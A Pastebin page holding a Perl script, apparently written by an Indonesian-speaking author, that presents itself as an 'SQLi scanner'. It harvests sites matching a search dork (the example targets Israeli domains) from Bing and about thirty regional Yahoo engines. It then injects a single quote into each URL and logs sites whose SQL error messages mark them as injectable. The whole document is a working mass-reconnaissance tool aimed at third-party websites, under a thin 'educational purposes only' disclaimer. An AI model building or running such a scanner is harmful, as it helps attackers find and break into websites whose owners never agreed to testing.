Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!usr/bin/perl
- # - Modify, distribute, share and copy this code in any way you like!
- # - Please note that this tool was created and published for educational purposes only
- # - Do not use it in an illegal way and always know + respect your local laws.
- # - Author will be not responsible for any damage.
- # - Contact me at : gonerebootyourself@gmail.com
- # - Visit http://github.com/L4W/perl for more code
- use HTTP::Request;
- use LWP::UserAgent;
- use IO::Socket;
- use Socket;
- use URI::Escape;
- use POSIX qw(strftime);
- if ($^O =~ /Win/){
- system ('cls');
- }else{
- system ('clear');
- }
- my ($sec,$min,$hour,$day,$mon,$year,$wday,$yday,$isdst)=localtime();
- my $uagent = "Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1";
- print q {
- SQLi scanner
- };
- print q(
- SQLi scanner
- );
- print "---------------------------------------------------------
- [!] Options
- [!] contoh
- [!] Dork : product.php?id= +site:il +you have an error in your sql
- ---------------------------------------------------------\n";
- print "[?] Dork for scanning : ";
- my $dork = <STDIN>;
- chomp $dork;
- $ngitung = 0;
- my %hosts;
- print "---------------------------------------------------------
- [!] Scanning info
- ---------------------------------------------------------
- [+] Time : $hour:$min:$sec
- [+] Dork : $dork
- ---------------------------------------------------------
- [!] Scanning started....
- ---------------------------------------------------------";
- #Search Engine
- my @bing = &bing($dork);
- print "\n[+] Bing get ".scalar(@bing)." Sites";
- my @irlandia = &irlandia($dork);
- print "\n[+] Irlandia get ".scalar(@irlandia)." Sites";
- my @indonesia = &indonesia($dork);
- print "\n[+] Indonesia get ".scalar(@indonesia)." Sites";
- my @thailand = &thailand($dork);
- print "\n[+] Thailand get ".scalar(@thailand)." Sites";
- my @argentina = &argentina($dork);
- print "\n[+] Argentina get ".scalar(@argentina)." Sites";
- my @singapura = &singapura($dork);
- print "\n[+] Singapura get ".scalar(@singapura)." Sites";
- my @malaysia = &malaysia($dork);
- print "\n[+] Malaysia get ".scalar(@malaysia)." Sites";
- my @vietnam = &vietnam($dork);
- print "\n[+] Vietnam get ".scalar(@vietnam)." Sites";
- my @rusia = &rusia($dork);
- print "\n[+] Rusia get ".scalar(@rusia)." Sites";
- my @czech = &czech($dork);
- print "\n[+] Czech get ".scalar(@czech)." Sites";
- my @belanda = &belanda($dork);
- print "\n[+] Belanda get ".scalar(@belanda)." Sites";
- my @australia = &australia($dork);
- print "\n[+] Australia get ".scalar(@australia)." Sites";
- my @brasil = &brasil($dork);
- print "\n[+] Brasil get ".scalar(@brasil)." Sites";
- my @kanada = &canada($dork);
- print "\n[+] Kanada get ".scalar(@kanada)." Sites";
- my @jerman = &jerman($dork);
- print "\n[+] Jerman get ".scalar(@jerman)." Sites";
- my @spanyol = &spanyol($dork);
- print "\n[+] Spanyol get ".scalar(@spanyol)." Sites";
- my @perancis = &perancis($dork);
- print "\n[+] Perancis get ".scalar(@perancis)." Sites";
- my @italia = &italia($dork);
- print "\n[+] Italia get ".scalar(@italia)." Sites";
- my @inggris = &inggris($dork);
- print "\n[+] Inggris get ".scalar(@inggris)." Sites";
- my @turki = &turki($dork);
- print "\n[+] Turki get ".scalar(@turki)." Sites";
- my @polandia = &polandia($dork);
- print "\n[+] Polandia get ".scalar(@polandia)." Sites";
- my @filipina = &filipina($dork);
- print "\n[+] Filipina get ".scalar(@filipina)." Sites";
- my @peru = &peru($dork);
- print "\n[+] Peru get ".scalar(@peru)." Sites";
- my @hongkong = &hongkong($dork);
- print "\n[+] Hongkong get ".scalar(@hongkong)." Sites";
- my @finlandia = &finlandia($dork);
- print "\n[+] Finlandia get ".scalar(@finlandia)." Sites";
- my @yunani = &yunani($dork);
- print "\n[+] Yunani get ".scalar(@yunani)." Sites";
- my @kolombia = &kolombia($dork);
- print "\n[+] Kolombia get ".scalar(@kolombia)." Sites";
- my @taiwan = &taiwan($dork);
- print "\n[+] Taiwan get ".scalar(@taiwan)." Sites";
- my @swiss = &swiss($dork);
- print "\n[+] Swiss get ".scalar(@swiss)." Sites";
- my @mexico = &mexico($dork);
- print "\n[+] Meksiko get ".scalar(@mexico)." Sites";
- my @korea = &korea($dork);
- print "\n[+] Korea get ".scalar(@korea)." Sites";
- my @india = &india($dork);
- print "\n[+] India get ".scalar(@india)." Sites";
- my @swedia = &swedia($dork);
- print "\n[+] Swedia get ".scalar(@swedia)." Sites";
- print "\n---------------------------------------------------------";
- print "\n[!] Searching vulnerable sites";
- print "\n[!] Please wait...\n";
- print "---------------------------------------------------------\n";
- push(my @tot, @bing, @irlandia, @indonesia, @thailand, @argentina, @singapura, @malaysia, @vietnam, @swedia, @rusia, @czech, @belanda,
- @australia, @brasil, @kanada, @jerman, @spanyol, @perancis, @italia, @inggris, @turki, @polandia, @filipina, @peru, @hongkong, @yunani,
- @finlandia, @kolombia, @taiwan, @swiss, @mexico, @korea, @india, @irlandia);
- my @bersih=&clean(@tot);
- my $akhir=scalar(@bersih);
- foreach my $situs (@bersih) {
- $ngitung++;
- if ($ngitung==$akhir-1){
- print "\n[!] Scan finish for $dork :D";
- }
- my $expl="http://".$situs."'";
- my $mysql = "MySQL";
- my $mssql = "MsSQL";
- my $msacc = "MsAcces";
- my $string = getcontent($expl);
- if ( $string =~ m/You have an error in your SQL syntax/i || $string =~ m/Query failed/i || $string =~ m/SQL query failed/i ){
- print "[*] MySQL vuln for SQLi on $situs\n";
- printlog ("
- Time : $hour:$min:$sec
- Site : $situs
- Database : $mysql\n");
- }
- elsif ( $string =~ m/ODBC SQL Server Driver/i || $string =~ m/Unclosed quotation mark/i || $string =~ m/Microsoft OLE DB Provider for/i ){
- print "[*] MsSQL vuln for SQLi on $vuln\n";
- printlog ("
- Time : $hour:$min:$sec
- Site : $situs
- Database : $mssql\n");
- }
- elsif ( $string =~ m/Microsoft JET Database/i || $string =~ m/ODBC Microsoft Access Driver/i ){
- print "[*] MsAcces vuln for SQLi on $vuln\n";
- printlog ("
- Time : $hour:$min:$sec
- Site : $situs
- Database : $msacc\n");
- }
- }
- exit;
- #Search Engine
- sub bing() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=200; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub indonesia() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://id.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub india() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://in.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub irlandia() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://ie.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub korea() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://kr.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub thailand() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://th.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub argentina() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://ar.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub singapura() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://sg.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub malaysia() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://malaysia.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub vietnam() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://vn.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub swedia() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://se.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub rusia() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://ru.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub czech() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://cs.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub belanda() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://nl.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub australia() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://au.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub brasil() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://br.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub canada() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://ca.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub jerman() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://de.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub spanyol() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://es.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub perancis() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://fr.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub italia() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://it.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub turki() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://tr.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub polandia() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://pl.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub filipina() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://ph.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub inggris() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://uk.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub peru() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://pe.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub hongkong() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://hk.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub yunani() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://gr.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub finlandia() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://fi.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub kolombia() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://co.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub taiwan() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://tw.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub swiss() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://ch.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- sub mexico() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for (my $i=1; $i<=200; $i+=100) {
- my $search = ("http://mx.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- ################################################
- sub search_engine_query() {
- my $url = $_[0];
- $url =~ s/http:\/\///;
- my $host = $url;
- my $query = $url;
- my $page = "";
- $host =~ s/href=\"?http:\/\///;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $query =~ s/$host//;
- if ($query eq "") { $query = "/"; }
- eval {
- my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
- my $sget = "GET $query HTTP/1.0\r\n";
- $sget .= "Host: $host\r\n";
- $sget .= "Accept: */*\r\n";
- $sget .= "User-Agent: $uagent\r\n";
- $sget .= "Connetion: Close\r\n\r\n";
- print $sock $sget;
- my @pages = <$sock>;
- $page = "@pages";
- close($sock);
- };
- return $page;
- }
- sub clean() {
- my @cln = ();
- my %visit = ();
- foreach my $element (@_) {
- $element =~ s/\/+/\//g;
- next if $visit{$element}++;
- push @cln, $element;
- }
- return @cln;
- }
- sub links() {
- my @l;
- my $link=$_[0];
- my $host=$_[0];
- my $hdir=$_[0];
- $hdir=~s/(.*)\/[^\/]*$/\1/;
- $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $host.="/";
- $link.="/";
- $hdir.="/";
- $host=~s/\/\//\//g;
- $hdir=~s/\/\//\//g;
- $link=~s/\/\//\//g;
- push(@l,$link,$host,$hdir);
- return @l;
- }
- sub getcontent() {
- my $url = $_[0];
- my $req = HTTP::Request->new(GET => $url);
- my $ua = LWP::UserAgent->new();
- $ua->timeout(15);
- my $response = $ua->request($req);
- return $response->content;
- }
- sub printlog {
- my ($logsec,$logmin,$loghour,$logmday,$logmon,$logyear,$logwday,$logyday,$logisdst)=localtime(time);
- my $logtimestamp = sprintf("%4d-%02d-%02d,%02d:%02d:%02d",$logyear+1900,$logmon+1,$logmday,$loghour,$logmin,$logsec);
- $logmon++;
- $logyear=$logyear+1900;
- my $log="[$logdir$logyear-$logmon-$logmday]SQLscan.log";
- open(lo,">>$log") or die "$log:$!";
- print lo @_[0];
- close(lo);
- return;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement